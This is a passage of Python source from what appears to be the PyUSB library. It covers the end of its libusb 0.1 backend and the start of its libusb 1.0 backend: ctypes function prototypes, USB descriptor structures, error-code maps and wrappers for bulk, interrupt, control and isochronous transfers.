# int usb_reap_async_nocancel(void *context, int timeout)
if hasattr(lib, 'usb_reap_async_nocancel'):
lib.usb_reap_async_nocancel.argtypes = [c_void_p, c_int]
# int usb_cancel_async(void *context)
if hasattr(lib, 'usb_cancel_async'):
lib.usb_cancel_async.argtypes = [c_void_p]
# int usb_free_async(void **context)
if hasattr(lib, 'usb_free_async'):
lib.usb_free_async.argtypes = [POINTER(c_void_p)]
def _check(ret):
if ret is None:
errmsg = _lib.usb_strerror()
else:
if hasattr(ret, 'value'):
ret = ret.value
if ret < 0:
errmsg = _lib.usb_strerror()
# No error means that we need to get the error
# message from the return code
# Thanks to Nicholas Wheeler to point out the problem...
# Also see issue #2860940
if errmsg.lower() == 'no error':
errmsg = os.strerror(-ret)
else:
return ret
raise USBError(errmsg, ret)
def _has_iso_transfer():
return hasattr(_lib, 'usb_isochronous_setup_async')
# implementation of libusb 0.1.x backend
class _LibUSB(usb.backend.IBackend):
@methodtrace(_logger)
def enumerate_devices(self):
_check(_lib.usb_find_busses())
_check(_lib.usb_find_devices())
bus = _lib.usb_get_busses()
while bool(bus):
dev = bus[0].devices
while bool(dev):
yield dev[0]
dev = dev[0].next
bus = bus[0].next
@methodtrace(_logger)
def get_device_descriptor(self, dev):
return _DeviceDescriptor(dev)
@methodtrace(_logger)
def get_configuration_descriptor(self, dev, config):
if config >= dev.descriptor.bNumConfigurations:
raise IndexError('Invalid configuration index ' + str(config))
config_desc = dev.config[config]
config_desc.extra_descriptors = config_desc.extra[:config_desc.extralen]
return config_desc
@methodtrace(_logger)
def get_interface_descriptor(self, dev, intf, alt, config):
cfgdesc = self.get_configuration_descriptor(dev, config)
if intf >= cfgdesc.bNumInterfaces:
raise IndexError('Invalid interface index ' + str(intf))
interface = cfgdesc.interface[intf]
if alt >= interface.num_altsetting:
raise IndexError('Invalid alternate setting index ' + str(alt))
intf_desc = interface.altsetting[alt]
intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extralen]
return intf_desc
@methodtrace(_logger)
def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
interface = self.get_interface_descriptor(dev, intf, alt, config)
if ep >= interface.bNumEndpoints:
raise IndexError('Invalid endpoint index ' + str(ep))
ep_desc = interface.endpoint[ep]
ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extralen]
return ep_desc
@methodtrace(_logger)
def open_device(self, dev):
return _check(_lib.usb_open(dev))
@methodtrace(_logger)
def close_device(self, dev_handle):
_check(_lib.usb_close(dev_handle))
@methodtrace(_logger)
def set_configuration(self, dev_handle, config_value):
_check(_lib.usb_set_configuration(dev_handle, config_value))
@methodtrace(_logger)
def get_configuration(self, dev_handle):
bmRequestType = usb.util.build_request_type(
usb.util.CTRL_IN,
usb.util.CTRL_TYPE_STANDARD,
usb.util.CTRL_RECIPIENT_DEVICE
)
buff = usb.util.create_buffer(1)
ret = self.ctrl_transfer(
dev_handle,
bmRequestType,
0x08,
0,
0,
buff,
100)
assert ret == 1
return buff[0]
@methodtrace(_logger)
def set_interface_altsetting(self, dev_handle, intf, altsetting):
_check(_lib.usb_set_altinterface(dev_handle, altsetting))
@methodtrace(_logger)
def claim_interface(self, dev_handle, intf):
_check(_lib.usb_claim_interface(dev_handle, intf))
@methodtrace(_logger)
def release_interface(self, dev_handle, intf):
_check(_lib.usb_release_interface(dev_handle, intf))
@methodtrace(_logger)
def bulk_write(self, dev_handle, ep, intf, data, timeout):
return self.__write(_lib.usb_bulk_write,
dev_handle,
ep,
intf,
data, timeout)
@methodtrace(_logger)
def bulk_read(self, dev_handle, ep, intf, buff, timeout):
return self.__read(_lib.usb_bulk_read,
dev_handle,
ep,
intf,
buff,
timeout)
@methodtrace(_logger)
def intr_write(self, dev_handle, ep, intf, data, timeout):
return self.__write(_lib.usb_interrupt_write,
dev_handle,
ep,
intf,
data,
timeout)
@methodtrace(_logger)
def intr_read(self, dev_handle, ep, intf, buff, timeout):
return self.__read(_lib.usb_interrupt_read,
dev_handle,
ep,
intf,
buff,
timeout)
@methodtrace(_logger)
def iso_write(self, dev_handle, ep, intf, data, timeout):
if not _has_iso_transfer():
return usb.backend.IBackend.iso_write(self, dev_handle, ep, intf, data, timeout)
return self.__iso_transfer(dev_handle, ep, intf, data, timeout)
@methodtrace(_logger)
def iso_read(self, dev_handle, ep, intf, buff, timeout):
if not _has_iso_transfer():
return usb.backend.IBackend.iso_read(self, dev_handle, ep, intf, buff, timeout)
return self.__iso_transfer(dev_handle, ep, intf, buff, timeout)
@methodtrace(_logger)
def ctrl_transfer(self,
dev_handle,
bmRequestType,
bRequest,
wValue,
wIndex,
data,
timeout):
address, length = data.buffer_info()
length *= data.itemsize
return _check(_lib.usb_control_msg(
dev_handle,
bmRequestType,
bRequest,
wValue,
wIndex,
cast(address, c_char_p),
length,
timeout
))
@methodtrace(_logger)
def clear_halt(self, dev_handle, ep):
_check(_lib.usb_clear_halt(dev_handle, ep))
@methodtrace(_logger)
def reset_device(self, dev_handle):
_check(_lib.usb_reset(dev_handle))
@methodtrace(_logger)
def detach_kernel_driver(self, dev_handle, intf):
_check(_lib.usb_detach_kernel_driver_np(dev_handle, intf))
def __write(self, fn, dev_handle, ep, intf, data, timeout):
address, length = data.buffer_info()
length *= data.itemsize
return int(_check(fn(
dev_handle,
ep,
cast(address, c_char_p),
length,
timeout
)))
def __read(self, fn, dev_handle, ep, intf, buff, timeout):
address, length = buff.buffer_info()
length *= buff.itemsize
ret = int(_check(fn(
dev_handle,
ep,
cast(address, c_char_p),
length,
timeout
)))
return ret
def __iso_transfer(self, dev_handle, ep, intf, data, timeout):
context = c_void_p()
buff, length = data.buffer_info()
length *= data.itemsize
_check(_lib.usb_isochronous_setup_async(
dev_handle,
byref(context),
ep,
0))
transmitted = 0
try:
while transmitted < length:
_check(_lib.usb_submit_async(
context,
cast(buff + transmitted, c_char_p),
length - transmitted))
ret = _check(_lib.usb_reap_async(context, timeout))
if not ret:
return transmitted
transmitted += ret
except:
if not transmitted:
raise
finally:
_check(_lib.usb_free_async(byref(context)))
return transmitted
def get_backend(find_library=None):
global _lib
try:
if _lib is None:
_lib = _load_library(find_library)
_setup_prototypes(_lib)
_lib.usb_init()
return _LibUSB()
except usb.libloader.LibraryException:
# exception already logged (if any)
_logger.error('Error loading libusb 0.1 backend', exc_info=False)
return None
except Exception:
_logger.error('Error loading libusb 0.1 backend', exc_info=True)
return None
================================================
FILE: usb/backend/libusb1.py
================================================
# Copyright (C) 2009-2014 Wander Lairson Costa
#
# The following terms apply to all files associated
# with the software unless explicitly disclaimed in individual files.
#
# The authors hereby grant permission to use, copy, modify, distribute,
# and license this software and its documentation for any purpose, provided
# that existing copyright notices are retained in all copies and that this
# notice is included verbatim in any distributions. No written agreement,
# license, or royalty fee is required for any of the authorized uses.
# Modifications to this software may be copyrighted by their authors
# and need not follow the licensing terms described here, provided that
# the new terms are clearly indicated on the first page of each file where
# they apply.
#
# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY
# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY
# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE
# IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE
# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
# MODIFICATIONS.
from ctypes import *
import usb.util
import sys
import logging
from usb._debug import methodtrace
import usb._interop as _interop
import usb._objfinalizer as _objfinalizer
import errno
import math
from usb.core import USBError
import usb.libloader
__author__ = 'Wander Lairson Costa'
__all__ = [
'get_backend',
'LIBUSB_SUCESS',
'LIBUSB_ERROR_IO',
'LIBUSB_ERROR_INVALID_PARAM',
'LIBUSB_ERROR_ACCESS',
'LIBUSB_ERROR_NO_DEVICE',
'LIBUSB_ERROR_NOT_FOUND',
'LIBUSB_ERROR_BUSY',
'LIBUSB_ERROR_TIMEOUT',
'LIBUSB_ERROR_OVERFLOW',
'LIBUSB_ERROR_PIPE',
'LIBUSB_ERROR_INTERRUPTED',
'LIBUSB_ERROR_NO_MEM',
'LIBUSB_ERROR_NOT_SUPPORTED',
'LIBUSB_ERROR_OTHER'
'LIBUSB_TRANSFER_COMPLETED',
'LIBUSB_TRANSFER_ERROR',
'LIBUSB_TRANSFER_TIMED_OUT',
'LIBUSB_TRANSFER_CANCELLED',
'LIBUSB_TRANSFER_STALL',
'LIBUSB_TRANSFER_NO_DEVICE',
'LIBUSB_TRANSFER_OVERFLOW'
]
_logger = logging.getLogger('usb.backend.libusb1')
# libusb.h
# transfer_type codes
# Control endpoint
_LIBUSB_TRANSFER_TYPE_CONTROL = 0,
# Isochronous endpoint
_LIBUSB_TRANSFER_TYPE_ISOCHRONOUS = 1
# Bulk endpoint
_LIBUSB_TRANSFER_TYPE_BULK = 2
# Interrupt endpoint
_LIBUSB_TRANSFER_TYPE_INTERRUPT = 3
# return codes
LIBUSB_SUCCESS = 0
LIBUSB_ERROR_IO = -1
LIBUSB_ERROR_INVALID_PARAM = -2
LIBUSB_ERROR_ACCESS = -3
LIBUSB_ERROR_NO_DEVICE = -4
LIBUSB_ERROR_NOT_FOUND = -5
LIBUSB_ERROR_BUSY = -6
LIBUSB_ERROR_TIMEOUT = -7
LIBUSB_ERROR_OVERFLOW = -8
LIBUSB_ERROR_PIPE = -9
LIBUSB_ERROR_INTERRUPTED = -10
LIBUSB_ERROR_NO_MEM = -11
LIBUSB_ERROR_NOT_SUPPORTED = -12
LIBUSB_ERROR_OTHER = -99
# map return codes to strings
_str_error_map = {
LIBUSB_SUCCESS:'Success (no error)',
LIBUSB_ERROR_IO:'Input/output error',
LIBUSB_ERROR_INVALID_PARAM:'Invalid parameter',
LIBUSB_ERROR_ACCESS:'Access denied (insufficient permissions)',
LIBUSB_ERROR_NO_DEVICE:'No such device (it may have been disconnected)',
LIBUSB_ERROR_NOT_FOUND:'Entity not found',
LIBUSB_ERROR_BUSY:'Resource busy',
LIBUSB_ERROR_TIMEOUT:'Operation timed out',
LIBUSB_ERROR_OVERFLOW:'Overflow',
LIBUSB_ERROR_PIPE:'Pipe error',
LIBUSB_ERROR_INTERRUPTED:'System call interrupted (perhaps due to signal)',
LIBUSB_ERROR_NO_MEM:'Insufficient memory',
LIBUSB_ERROR_NOT_SUPPORTED:'Operation not supported or unimplemented on this platform',
LIBUSB_ERROR_OTHER:'Unknown error'
}
# map return code to errno values
_libusb_errno = {
0:None,
LIBUSB_ERROR_IO:errno.__dict__.get('EIO', None),
LIBUSB_ERROR_INVALID_PARAM:errno.__dict__.get('EINVAL', None),
LIBUSB_ERROR_ACCESS:errno.__dict__.get('EACCES', None),
LIBUSB_ERROR_NO_DEVICE:errno.__dict__.get('ENODEV', None),
LIBUSB_ERROR_NOT_FOUND:errno.__dict__.get('ENOENT', None),
LIBUSB_ERROR_BUSY:errno.__dict__.get('EBUSY', None),
LIBUSB_ERROR_TIMEOUT:errno.__dict__.get('ETIMEDOUT', None),
LIBUSB_ERROR_OVERFLOW:errno.__dict__.get('EOVERFLOW', None),
LIBUSB_ERROR_PIPE:errno.__dict__.get('EPIPE', None),
LIBUSB_ERROR_INTERRUPTED:errno.__dict__.get('EINTR', None),
LIBUSB_ERROR_NO_MEM:errno.__dict__.get('ENOMEM', None),
LIBUSB_ERROR_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None),
LIBUSB_ERROR_OTHER:None
}
# Transfer status codes:
# Note that this does not indicate
# that the entire amount of requested data was transferred.
LIBUSB_TRANSFER_COMPLETED = 0
LIBUSB_TRANSFER_ERROR = 1
LIBUSB_TRANSFER_TIMED_OUT = 2
LIBUSB_TRANSFER_CANCELLED = 3
LIBUSB_TRANSFER_STALL = 4
LIBUSB_TRANSFER_NO_DEVICE = 5
LIBUSB_TRANSFER_OVERFLOW = 6
# map return codes to strings
_str_transfer_error = {
LIBUSB_TRANSFER_COMPLETED:'Success (no error)',
LIBUSB_TRANSFER_ERROR:'Transfer failed',
LIBUSB_TRANSFER_TIMED_OUT:'Transfer timed out',
LIBUSB_TRANSFER_CANCELLED:'Transfer was cancelled',
LIBUSB_TRANSFER_STALL:'For bulk/interrupt endpoints: halt condition '\
'detected (endpoint stalled). For control '\
'endpoints: control request not supported.',
LIBUSB_TRANSFER_NO_DEVICE:'Device was disconnected',
LIBUSB_TRANSFER_OVERFLOW:'Device sent more data than requested'
}
# map transfer codes to errno codes
_transfer_errno = {
LIBUSB_TRANSFER_COMPLETED:0,
LIBUSB_TRANSFER_ERROR:errno.__dict__.get('EIO', None),
LIBUSB_TRANSFER_TIMED_OUT:errno.__dict__.get('ETIMEDOUT', None),
LIBUSB_TRANSFER_CANCELLED:errno.__dict__.get('EAGAIN', None),
LIBUSB_TRANSFER_STALL:errno.__dict__.get('EIO', None),
LIBUSB_TRANSFER_NO_DEVICE:errno.__dict__.get('ENODEV', None),
LIBUSB_TRANSFER_OVERFLOW:errno.__dict__.get('EOVERFLOW', None)
}
def _strerror(errcode):
try:
return _lib.libusb_strerror(errcode).decode('utf8')
except AttributeError:
return _str_error_map[errcode]
# Data structures
class _libusb_endpoint_descriptor(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bEndpointAddress', c_uint8),
('bmAttributes', c_uint8),
('wMaxPacketSize', c_uint16),
('bInterval', c_uint8),
('bRefresh', c_uint8),
('bSynchAddress', c_uint8),
('extra', POINTER(c_ubyte)),
('extra_length', c_int)]
class _libusb_interface_descriptor(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bInterfaceNumber', c_uint8),
('bAlternateSetting', c_uint8),
('bNumEndpoints', c_uint8),
('bInterfaceClass', c_uint8),
('bInterfaceSubClass', c_uint8),
('bInterfaceProtocol', c_uint8),
('iInterface', c_uint8),
('endpoint', POINTER(_libusb_endpoint_descriptor)),
('extra', POINTER(c_ubyte)),
('extra_length', c_int)]
class _libusb_interface(Structure):
_fields_ = [('altsetting', POINTER(_libusb_interface_descriptor)),
('num_altsetting', c_int)]
class _libusb_config_descriptor(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('wTotalLength', c_uint16),
('bNumInterfaces', c_uint8),
('bConfigurationValue', c_uint8),
('iConfiguration', c_uint8),
('bmAttributes', c_uint8),
('bMaxPower', c_uint8),
('interface', POINTER(_libusb_interface)),
('extra', POINTER(c_ubyte)),
('extra_length', c_int)]
class _libusb_device_descriptor(Structure):
_fields_ = [('bLength', c_uint8),
('bDescriptorType', c_uint8),
('bcdUSB', c_uint16),
('bDeviceClass', c_uint8),
('bDeviceSubClass', c_uint8),
('bDeviceProtocol', c_uint8),
('bMaxPacketSize0', c_uint8),
('idVendor', c_uint16),
('idProduct', c_uint16),
('bcdDevice', c_uint16),
('iManufacturer', c_uint8),
('iProduct', c_uint8),
('iSerialNumber', c_uint8),
('bNumConfigurations', c_uint8)]
# Isochronous packet descriptor.
class _libusb_iso_packet_descriptor(Structure):
_fields_ = [('length', c_uint),
('actual_length', c_uint),
('status', c_int)] # enum libusb_transfer_status
_libusb_device_handle = c_void_p
class _libusb_transfer(Structure):
pass
_libusb_transfer_p = POINTER(_libusb_transfer)
_libusb_transfer_cb_fn_p = CFUNCTYPE(None, _libusb_transfer_p)
_libusb_transfer._fields_ = [('dev_handle', _libusb_device_handle),
('flags', c_uint8),
('endpoint', c_uint8),
('type', c_uint8),
('timeout', c_uint),
('status', c_int), # enum libusb_transfer_status
('length', c_int),
('actual_length', c_int),
('callback', _libusb_transfer_cb_fn_p),
('user_data', py_object),
('buffer', c_void_p),
('num_iso_packets', c_int),
('iso_packet_desc', _libusb_iso_packet_descriptor)
]
def _get_iso_packet_list(transfer):
list_type = _libusb_iso_packet_descriptor * transfer.num_iso_packets
return list_type.from_address(addressof(transfer.iso_packet_desc))
_lib = None
def _load_library(find_library=None):
# Windows backend uses stdcall calling convention
#
# On FreeBSD 8/9, libusb 1.0 and libusb 0.1 are in the same shared
# object libusb.so, so if we found libusb library name, we must assure
# it is 1.0 version. We just try to get some symbol from 1.0 version
if sys.platform == 'win32':
win_cls = WinDLL
else:
win_cls = None
return usb.libloader.load_locate_library(
('usb-1.0', 'libusb-1.0', 'usb'),
'cygusb-1.0.dll', 'Libusb 1',
win_cls=win_cls,
find_library=find_library, check_symbols=('libusb_init',))
def _setup_prototypes(lib):
# void libusb_set_debug (libusb_context *ctx, int level)
lib.libusb_set_debug.argtypes = [c_void_p, c_int]
# int libusb_init (libusb_context **context)
lib.libusb_init.argtypes = [POINTER(c_void_p)]
# void libusb_exit (struct libusb_context *ctx)
lib.libusb_exit.argtypes = [c_void_p]
# ssize_t libusb_get_device_list (libusb_context *ctx,
# libusb_device ***list)
lib.libusb_get_device_list.argtypes = [
c_void_p,
POINTER(POINTER(c_void_p))
]
# void libusb_free_device_list (libusb_device **list,
# int unref_devices)
lib.libusb_free_device_list.argtypes = [
POINTER(c_void_p),
c_int
]
# libusb_device *libusb_ref_device (libusb_device *dev)
lib.libusb_ref_device.argtypes = [c_void_p]
lib.libusb_ref_device.restype = c_void_p
# void libusb_unref_device(libusb_device *dev)
lib.libusb_unref_device.argtypes = [c_void_p]
# int libusb_open(libusb_device *dev, libusb_device_handle **handle)
lib.libusb_open.argtypes = [c_void_p, POINTER(_libusb_device_handle)]
# void libusb_close(libusb_device_handle *dev_handle)
lib.libusb_close.argtypes = [_libusb_device_handle]
# int libusb_set_configuration(libusb_device_handle *dev,
# int configuration)
lib.libusb_set_configuration.argtypes = [_libusb_device_handle, c_int]
# int libusb_get_configuration(libusb_device_handle *dev,
# int *config)
lib.libusb_get_configuration.argtypes = [_libusb_device_handle, POINTER(c_int)]
# int libusb_claim_interface(libusb_device_handle *dev,
# int interface_number)
lib.libusb_claim_interface.argtypes = [_libusb_device_handle, c_int]
# int libusb_release_interface(libusb_device_handle *dev,
# int interface_number)
lib.libusb_release_interface.argtypes = [_libusb_device_handle, c_int]
# int libusb_set_interface_alt_setting(libusb_device_handle *dev,
# int interface_number,
# int alternate_setting)
lib.libusb_set_interface_alt_setting.argtypes = [
_libusb_device_handle,
c_int,
c_int
]
# int libusb_reset_device (libusb_device_handle *dev)
lib.libusb_reset_device.argtypes = [_libusb_device_handle]
# int libusb_kernel_driver_active(libusb_device_handle *dev,
# int interface)
lib.libusb_kernel_driver_active.argtypes = [
_libusb_device_handle,
c_int
]
# int libusb_detach_kernel_driver(libusb_device_handle *dev,
# int interface)
lib.libusb_detach_kernel_driver.argtypes = [
_libusb_device_handle,
c_int
]
# int libusb_attach_kernel_driver(libusb_device_handle *dev,
# int interface)
lib.libusb_attach_kernel_driver.argtypes = [
_libusb_device_handle,
c_int
]
# int libusb_get_device_descriptor(
# libusb_device *dev,
# struct libusb_device_descriptor *desc
# )
lib.libusb_get_device_descriptor.argtypes = [
c_void_p,
POINTER(_libusb_device_descriptor)
]
# int libusb_get_config_descriptor(
# libusb_device *dev,
# uint8_t config_index,
# struct libusb_config_descriptor **config
# )
lib.libusb_get_config_descriptor.argtypes = [
c_void_p,
c_uint8,
POINTER(POINTER(_libusb_config_descriptor))
]
# void libusb_free_config_descriptor(
# struct libusb_config_descriptor *config
# )
lib.libusb_free_config_descriptor.argtypes = [
POINTER(_libusb_config_descriptor)
]
# int libusb_get_string_descriptor_ascii(libusb_device_handle *dev,
# uint8_t desc_index,
# unsigned char *data,
# int length)
lib.libusb_get_string_descriptor_ascii.argtypes = [
_libusb_device_handle,
c_uint8,
POINTER(c_ubyte),
c_int
]
# int libusb_control_transfer(libusb_device_handle *dev_handle,
# uint8_t bmRequestType,
# uint8_t bRequest,
# uint16_t wValue,
# uint16_t wIndex,
# unsigned char *data,
# uint16_t wLength,
# unsigned int timeout)
lib.libusb_control_transfer.argtypes = [
_libusb_device_handle,
c_uint8,
c_uint8,
c_uint16,
c_uint16,
POINTER(c_ubyte),
c_uint16,
c_uint
]
#int libusb_bulk_transfer(
# struct libusb_device_handle *dev_handle,
# unsigned char endpoint,
# unsigned char *data,
# int length,
# int *transferred,
# unsigned int timeout
# )
lib.libusb_bulk_transfer.argtypes = [
_libusb_device_handle,
c_ubyte,
POINTER(c_ubyte),
c_int,
POINTER(c_int),
c_uint
]
# int libusb_interrupt_transfer(
# libusb_device_handle *dev_handle,
# unsigned char endpoint,
# unsigned char *data,
# int length,
# int *actual_length,
# unsigned int timeout
# );
lib.libusb_interrupt_transfer.argtypes = [
_libusb_device_handle,
c_ubyte,
POINTER(c_ubyte),
c_int,
POINTER(c_int),
c_uint
]
# libusb_transfer* libusb_alloc_transfer(int iso_packets);
lib.libusb_alloc_transfer.argtypes = [c_int]
lib.libusb_alloc_transfer.restype = POINTER(_libusb_transfer)
# void libusb_free_transfer(struct libusb_transfer *transfer)
lib.libusb_free_transfer.argtypes = [POINTER(_libusb_transfer)]
# int libusb_submit_transfer(struct libusb_transfer *transfer);
lib.libusb_submit_transfer.argtypes = [POINTER(_libusb_transfer)]
if hasattr(lib, 'libusb_strerror'):
# const char *libusb_strerror(enum libusb_error errcode)
lib.libusb_strerror.argtypes = [c_uint]
lib.libusb_strerror.restype = c_char_p
# int libusb_clear_halt(libusb_device_handle *dev, unsigned char endpoint)
lib.libusb_clear_halt.argtypes = [_libusb_device_handle, c_ubyte]
# void libusb_set_iso_packet_lengths(
# libusb_transfer* transfer,
# unsigned int length
# );
def libusb_set_iso_packet_lengths(transfer_p, length):
r"""This function is inline in the libusb.h file, so we must implement
it.
lib.libusb_set_iso_packet_lengths.argtypes = [
POINTER(_libusb_transfer),
c_int
]
"""
transfer = transfer_p.contents
for iso_packet_desc in _get_iso_packet_list(transfer):
iso_packet_desc.length = length
lib.libusb_set_iso_packet_lengths = libusb_set_iso_packet_lengths
#int libusb_get_max_iso_packet_size(libusb_device* dev,
# unsigned char endpoint);
lib.libusb_get_max_iso_packet_size.argtypes = [c_void_p,
c_ubyte]
# void libusb_fill_iso_transfer(
# struct libusb_transfer* transfer,
# libusb_device_handle* dev_handle,
# unsigned char endpoint,
# unsigned char* buffer,
# int length,
# int num_iso_packets,
# libusb_transfer_cb_fn callback,
# void * user_data,
# unsigned int timeout
# );
def libusb_fill_iso_transfer(_libusb_transfer_p, dev_handle, endpoint, buffer, length,
num_iso_packets, callback, user_data, timeout):
r"""This function is inline in the libusb.h file, so we must implement
it.
lib.libusb_fill_iso_transfer.argtypes = [
_libusb_transfer,
_libusb_device_handle,
c_ubyte,
POINTER(c_ubyte),
c_int,
c_int,
_libusb_transfer_cb_fn_p,
c_void_p,
c_uint
]
"""
transfer = _libusb_transfer_p.contents
transfer.dev_handle = dev_handle
transfer.endpoint = endpoint
transfer.type = _LIBUSB_TRANSFER_TYPE_ISOCHRONOUS
transfer.timeout = timeout
transfer.buffer = cast(buffer, c_void_p)
transfer.length = length
transfer.num_iso_packets = num_iso_packets
transfer.user_data = user_data
transfer.callback = callback
lib.libusb_fill_iso_transfer = libusb_fill_iso_transfer
# uint8_t libusb_get_bus_number(libusb_device *dev)
lib.libusb_get_bus_number.argtypes = [c_void_p]
lib.libusb_get_bus_number.restype = c_uint8
# uint8_t libusb_get_device_address(libusb_device *dev)
lib.libusb_get_device_address.argtypes = [c_void_p]
lib.libusb_get_device_address.restype = c_uint8
try:
# uint8_t libusb_get_device_speed(libusb_device *dev)
lib.libusb_get_device_speed.argtypes = [c_void_p]
lib.libusb_get_device_speed.restype = c_uint8
except AttributeError:
pass
try:
# uint8_t libusb_get_port_number(libusb_device *dev)
lib.libusb_get_port_number.argtypes = [c_void_p]
lib.libusb_get_port_number.restype = c_uint8
except AttributeError:
pass
try:
# int libusb_get_port_numbers(libusb_device *dev,
# uint8_t* port_numbers,
# int port_numbers_len)
lib.libusb_get_port_numbers.argtypes = [
c_void_p,
POINTER(c_uint8),
c_int
]
lib.libusb_get_port_numbers.restype = c_int
except AttributeError:
pass
#int libusb_handle_events(libusb_context *ctx);
lib.libusb_handle_events.argtypes = [c_void_p]
# check a libusb function call
def _check(ret):
if hasattr(ret, 'value'):
ret = ret.value
if ret < 0:
if ret == LIBUSB_ERROR_NOT_SUPPORTED:
raise NotImplementedError(_strerror(ret))
else:
raise USBError(_strerror(ret), ret, _libusb_errno[ret])
return ret
# wrap a device
class _Device(_objfinalizer.AutoFinalizedObject):
def __init__(self, devid):
self.devid = _lib.libusb_ref_device(devid)
def _finalize_object(self):
_lib.libusb_unref_device(self.devid)
# wrap a descriptor and keep a reference to another object
# Thanks to Thomas Reitmayr.
class _WrapDescriptor(object):
def __init__(self, desc, obj = None):
self.obj = obj
self.desc = desc
def __getattr__(self, name):
return getattr(self.desc, name)
# wrap a configuration descriptor
class _ConfigDescriptor(_objfinalizer.AutoFinalizedObject):
def __init__(self, desc):
self.desc = desc
def _finalize_object(self):
_lib.libusb_free_config_descriptor(self.desc)
def __getattr__(self, name):
return getattr(self.desc.contents, name)
# iterator for libusb devices
class _DevIterator(_objfinalizer.AutoFinalizedObject):
def __init__(self, ctx):
self.dev_list = POINTER(c_void_p)()
self.num_devs = _check(_lib.libusb_get_device_list(
ctx,
byref(self.dev_list))
)
def __iter__(self):
for i in range(self.num_devs):
yield _Device(self.dev_list[i])
def _finalize_object(self):
_lib.libusb_free_device_list(self.dev_list, 1)
class _DeviceHandle(object):
def __init__(self, dev):
self.handle = _libusb_device_handle()
self.devid = dev.devid
_check(_lib.libusb_open(self.devid, byref(self.handle)))
class _IsoTransferHandler(_objfinalizer.AutoFinalizedObject):
def __init__(self, dev_handle, ep, buff, timeout):
address, length = buff.buffer_info()
packet_length = _lib.libusb_get_max_iso_packet_size(dev_handle.devid, ep)
packet_count = int(math.ceil(float(length) / packet_length))
self.transfer = _lib.libusb_alloc_transfer(packet_count)
_lib.libusb_fill_iso_transfer(self.transfer,
dev_handle.handle,
ep,
cast(address, POINTER(c_ubyte)),
length,
packet_count,
_libusb_transfer_cb_fn_p(self.__callback),
None,
timeout)
self.__set_packets_length(length, packet_length)
def _finalize_object(self):
_lib.libusb_free_transfer(self.transfer)
def submit(self, ctx = None):
self.__callback_done = 0
_check(_lib.libusb_submit_transfer(self.transfer))
while not self.__callback_done:
_check(_lib.libusb_handle_events(ctx))
status = int(self.transfer.contents.status)
if status != LIBUSB_TRANSFER_COMPLETED:
raise usb.USBError(_str_transfer_error[status],
status,
_transfer_errno[status])
return self.__compute_size_transf_data()
def __compute_size_transf_data(self):
return sum([t.actual_length for t in
_get_iso_packet_list(self.transfer.contents)])
def __set_packets_length(self, n, packet_length):
_lib.libusb_set_iso_packet_lengths(self.transfer, packet_length)
r = n % packet_length
if r:
iso_packets = _get_iso_packet_list(self.transfer.contents)
# When the device is disconnected, this list may
# return with length 0
if len(iso_packets):
iso_packets[-1].length = r
def __callback(self, transfer):
self.__callback_done = 1
# implementation of libusb 1.0 backend
class _LibUSB(usb.backend.IBackend):
@methodtrace(_logger)
def __init__(self, lib):
usb.backend.IBackend.__init__(self)
self.lib = lib
self.ctx = c_void_p()
_check(self.lib.libusb_init(byref(self.ctx)))
@methodtrace(_logger)
def _finalize_object(self):
self.lib.libusb_exit(self.ctx)
@methodtrace(_logger)
def enumerate_devices(self):
return _DevIterator(self.ctx)
@methodtrace(_logger)
def get_device_descriptor(self, dev):
dev_desc = _libusb_device_descriptor()
_check(self.lib.libusb_get_device_descriptor(dev.devid, byref(dev_desc)))
dev_desc.bus = self.lib.libusb_get_bus_number(dev.devid)
dev_desc.address = self.lib.libusb_get_device_address(dev.devid)
# Only available in newer versions of libusb
try:
dev_desc.speed = self.lib.libusb_get_device_speed(dev.devid)
except AttributeError:
dev_desc.speed = None
# Only available in newer versions of libusb
try:
dev_desc.port_number = self.lib.libusb_get_port_number(dev.devid)
except AttributeError:
dev_desc.port_number = None
# Only available in newer versions of libusb
try:
buff = (c_uint8 * 7)() # USB 3.0 maximum depth is 7
written = dev_desc.port_numbers = self.lib.libusb_get_port_numbers(
dev.devid, buff, len(buff))
if written > 0:
dev_desc.port_numbers = tuple(buff[:written])
else:
dev_desc.port_numbers = None
except AttributeError:
dev_desc.port_numbers = None
return dev_desc
@methodtrace(_logger)
def get_configuration_descriptor(self, dev, config):
cfg = POINTER(_libusb_config_descriptor)()
_check(self.lib.libusb_get_config_descriptor(
dev.devid,
config, byref(cfg)))
config_desc = _ConfigDescriptor(cfg)
config_desc.extra_descriptors = (
config_desc.extra[:config_desc.extra_length])
return config_desc
@methodtrace(_logger)
def get_interface_descriptor(self, dev, intf, alt, config):
cfg = self.get_configuration_descriptor(dev, config)
if intf >= cfg.bNumInterfaces:
raise IndexError('Invalid interface index ' + str(intf))
i = cfg.interface[intf]
if alt >= i.num_altsetting:
raise IndexError('Invalid alternate setting index ' + str(alt))
intf_desc = i.altsetting[alt]
intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extra_length]
return _WrapDescriptor(intf_desc, cfg)
@methodtrace(_logger)
def get_endpoint_descriptor(self, dev, ep, intf, alt, config):
i = self.get_interface_descriptor(dev, intf, alt, config)
if ep > i.bNumEndpoints:
raise IndexError('Invalid endpoint index ' + str(ep))
ep_desc = i.endpoint[ep]
ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extra_length]
return _WrapDescriptor(ep_desc, i)
